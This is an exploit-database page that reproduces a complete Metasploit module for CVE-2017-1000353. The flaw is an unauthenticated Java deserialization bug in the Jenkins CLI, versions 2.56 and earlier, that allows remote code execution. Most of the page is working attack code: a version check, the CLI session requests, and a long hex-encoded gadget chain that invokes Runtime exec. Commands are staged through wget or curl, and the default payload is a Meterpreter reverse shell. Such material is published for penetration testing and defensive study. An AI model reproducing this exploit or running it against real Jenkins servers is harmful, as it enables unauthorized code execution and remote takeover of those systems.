Lucene search
K

Jenkins 2.56 CLI Deserialization / Code Execution

🗓️ 22 Sep 2020 00:00:00Reported by Shelby PaceType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 474 Views

An unauthenticated Java object deserialization vulnerability exists in the CLI component for Jenkins versions `v2.56` and below. The `readFrom` method within the `Command` class in the Jenkins CLI remoting component deserializes objects received from clients without first checking / sanitizing the data. Because of this, a malicious serialized object contained within a serialized `SignedObject` can be sent to the Jenkins endpoint to achieve code execution on the target.

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Jenkins CLI Deserialization',  
'Description' => %q{  
An unauthenticated Java object deserialization vulnerability exists  
in the CLI component for Jenkins versions `v2.56` and below.  
  
The `readFrom` method within the `Command` class in the Jenkins  
CLI remoting component deserializes objects received from clients without  
first checking / sanitizing the data. Because of this, a malicious serialized  
object contained within a serialized `SignedObject` can be sent to the Jenkins  
endpoint to achieve code execution on the target.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'SSD', # PoC  
'Unknown', # Vulnerability discovery  
'Shelby Pace' # Metasploit module  
],  
'References' =>  
[  
[ 'URL', 'https://www.jenkins.io/security/advisory/2017-04-26/'],  
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-cloudbees-jenkins-unauthenticated-code-execution/'],  
[ 'CVE', '2017-1000353']  
],  
'Privileged' => false,  
'Platform' => 'linux',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Targets' =>  
[  
[  
'Linux',  
{  
'Platform' => 'linux',  
'CmdStagerFlavor' => [ 'wget', 'curl' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
]  
],  
'DisclosureDate' => '2017-04-26',  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ UNRELIABLE_SESSION ],  
'SideEffects' => [ IOC_IN_LOGS ]  
},  
'DefaultTarget' => 0  
)  
)  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [ true, 'The base path to Jenkins', '/' ])  
]  
)  
end  
  
def check  
login_uri = normalize_uri(target_uri.path, 'login')  
login_res = send_request_cgi(  
'method' => 'GET',  
'uri' => login_uri  
)  
  
return Exploit::CheckCode::Unknown('Did not receive a response from the server') unless login_res  
  
/Jenkins\s+ver\.\s+(?<version>\d+(?:\.\d+)*)/ =~ login_res.body  
return Exploit::CheckCode::Safe('Version of Jenkins cannot be found.') unless version  
  
vers_no = Gem::Version.new(version)  
return Exploit::CheckCode::Appears("Jenkins version #{version} detected") if vers_no < Gem::Version.new('2.54')  
  
Exploit::CheckCode::Detected  
end  
  
def exploit  
print_status('Sending payload...')  
execute_cmdstager(noconcat: true)  
end  
  
def format_payload(payload_data)  
formatted_payload = '74'  
formatted_payload << payload_data.length.to_s(16).rjust(4, '0')  
formatted_payload << payload_data.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join  
end  
  
def execute_command(cmd, _opts = {})  
sess_uuid = SecureRandom.uuid  
sess_uri = normalize_uri(target_uri.path, 'cli')  
preamble = '<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='  
  
send_request_cgi(  
{  
'uri' => sess_uri,  
'method' => 'POST',  
'headers' =>  
{  
'Side' => 'download',  
'Session' => sess_uuid  
}  
},  
nil, false  
) # don't wait for response, and don't disconnect  
  
cmd = build_obj(cmd)  
send_request_cgi(  
{  
'uri' => sess_uri,  
'method' => 'POST',  
'data' => preamble + [ cmd ].pack('H*'),  
'headers' =>  
{  
'Side' => 'upload',  
'Session' => sess_uuid  
}  
}  
)  
sleep(2) # give buffer time between requests for processing  
end  
  
def build_obj(obj_data)  
payload_data = '00000000aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e5265666572656e63654d61'  
payload_data << '701594ca03984908d7030000787077110000000000000001003f40000000000010737200286a6176612e7574696c2e636f6e63757272656e742'  
payload_data << 'e436f70794f6e577269746541727261795365744bbdd092901569d70200014c0002616c74002b4c6a6176612f7574696c2f636f6e6375727265'  
payload_data << '6e742f436f70794f6e577269746541727261794c6973743b7870737200296a6176612e7574696c2e636f6e63757272656e742e436f70794f6e5'  
payload_data << '77269746541727261794c697374785d9fd546ab90c303000078707704000000027372002a6a6176612e7574696c2e636f6e63757272656e742e'  
payload_data << '436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e637572726'  
payload_data << '56e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63'  
payload_data << '757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6'  
payload_data << 'd70617261746f723b7870707372001a6a6176612e73656375726974792e5369676e65644f626a65637409ffbd682a3cd5ff0200035b0007636f'  
payload_data << '6e74656e747400025b425b00097369676e617475726571007e000e4c000c746865616c676f726974686d7400124c6a6176612f6c616e672f537'  
payload_data << '472696e673b7870757200025b42acf317f8060854e002000078700000050daced0005737200116a6176612e7574696c2e48617368536574ba44'  
payload_data << '859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6'  
payload_data << 'e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a'  
payload_data << '6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e7'  
payload_data << '32e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61706163'  
payload_data << '68652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6'  
payload_data << 'e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d6954'  
payload_data << '72616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d657'  
payload_data << '23b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8'  
payload_data << '3418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436'  
payload_data << 'f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c'  
payload_data << '616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e7'  
payload_data << '32e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f'  
payload_data << '6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d547'  
payload_data << '97065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c'  
payload_data << '02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000078700'  
payload_data << '00000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078'  
payload_data << '707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106'  
payload_data << 'a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013'  
payload_data << '75720013'  
payload_data << '5b4c6a6176612e6c616e672e537472696e673b'  
payload_data << 'add256e7e91d7b47'  
payload_data << '020000'  
payload_data << '7870'  
payload_data << '00000001'  
  
obj_data = format_payload(obj_data)  
payload_data << obj_data  
  
payload_data << '740004'  
payload_data << '65786563' # exec  
payload_data << '7571007e0'  
payload_data << '01b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756578'  
payload_data << '7200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700'  
payload_data << '507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878'  
payload_data << '787571007e00110000002f302d02147ed1e347cfebac075517d658628ac128211d8895021500945aaa3b69fb24194cdf22bcee9fc9c5e317266'  
  
# This index is the length of the serialized  
# object that belongs to the SignedObject  
start_arr = payload_data.index('050daced')  
end_arr = payload_data.index('787571007e')  
new_arr_len = ((end_arr + 2) / 2) - ((start_arr + 4) / 2)  
payload_data[start_arr, 4] = new_arr_len.to_s(16).rjust(4, '0')  
  
payload_data << '0740003445341737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017078737200316f72'  
payload_data << '672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced5302000'  
payload_data << '14c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c'  
payload_data << '656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b03000078707'  
payload_data << '37200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c'  
payload_data << '656d656e747371007e0018787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136'  
payload_data << 'a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740004617364667878'  
payload_data << '7371007e001e00000000770400000000787871007e00207371007e00027371007e000577040000000271007e001a71007e00097871007e00207078'  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation